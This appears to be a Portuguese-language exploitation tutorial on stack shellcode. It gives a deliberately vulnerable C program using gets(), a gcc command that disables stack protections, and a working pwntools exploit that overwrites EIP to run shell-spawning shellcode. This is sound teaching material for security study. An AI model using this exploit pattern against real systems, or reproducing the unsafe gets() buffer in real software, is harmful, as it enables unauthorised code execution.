# Stack Shellcode

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## Basic Information

**Stack shellcode** é uma técnica usada na exploração binária onde um atacante escreve shellcode na pilha de um programa vulnerável e, em seguida, modifica o **Instruction Pointer (IP)** ou **Extended Instruction Pointer (EIP)** para apontar para a localização desse shellcode, fazendo com que ele seja executado. Este é um método clássico usado para obter acesso não autorizado ou executar comandos arbitrários em um sistema alvo. Aqui está uma análise do processo, incluindo um exemplo simples em C e como você poderia escrever um exploit correspondente usando Python com **pwntools**.

### C Example: A Vulnerable Program

Vamos começar com um exemplo simples de um programa C vulnerável:
```c
#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}
```
Este programa é vulnerável a um estouro de buffer devido ao uso da função `gets()`.

### Compilação

Para compilar este programa desativando várias proteções (para simular um ambiente vulnerável), você pode usar o seguinte comando:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
* `-fno-stack-protector`: Desabilita a proteção da pilha.
* `-z execstack`: Torna a pilha executável, o que é necessário para executar shellcode armazenado na pilha.
* `-no-pie`: Desabilita o Executável Independente de Posição, facilitando a previsão do endereço de memória onde nosso shellcode estará localizado.
* `-m32`: Compila o programa como um executável de 32 bits, frequentemente usado por simplicidade no desenvolvimento de exploits.

### Exploit em Python usando Pwntools

Aqui está como você poderia escrever um exploit em Python usando **pwntools** para realizar um ataque **ret2shellcode**:
```python
from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()
```
Este script constrói um payload consistindo de um **NOP slide**, o **shellcode**, e então sobrescreve o **EIP** com o endereço apontando para o NOP slide, garantindo que o shellcode seja executado.

O **NOP slide** (`asm('nop')`) é usado para aumentar a chance de que a execução "deslize" para o nosso shellcode, independentemente do endereço exato. Ajuste o argumento `p32()` para o endereço inicial do seu buffer mais um offset para aterrissar no NOP slide.

## Proteções

* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **deve ser desativado** para que o endereço seja confiável em todas as execuções ou o endereço onde a função será armazenada não será sempre o mesmo e você precisaria de algum leak para descobrir onde a função win está carregada.
* [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) também devem ser desativados ou o endereço de retorno EIP comprometido nunca será seguido.
* A proteção de **stack** [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) impediria a execução do shellcode dentro da pilha porque essa região não seria executável.

## Outros Exemplos & Referências

* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
* [https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html)
* 64bit, ASLR com leak de endereço da pilha, escreva shellcode e salte para ele
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html)
* 32 bit, ASLR com leak da pilha, escreva shellcode e salte para ele
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html)
* 32 bit, ASLR com leak da pilha, comparação para prevenir chamada para exit(), sobrescreva variável com um valor e escreva shellcode e salte para ele

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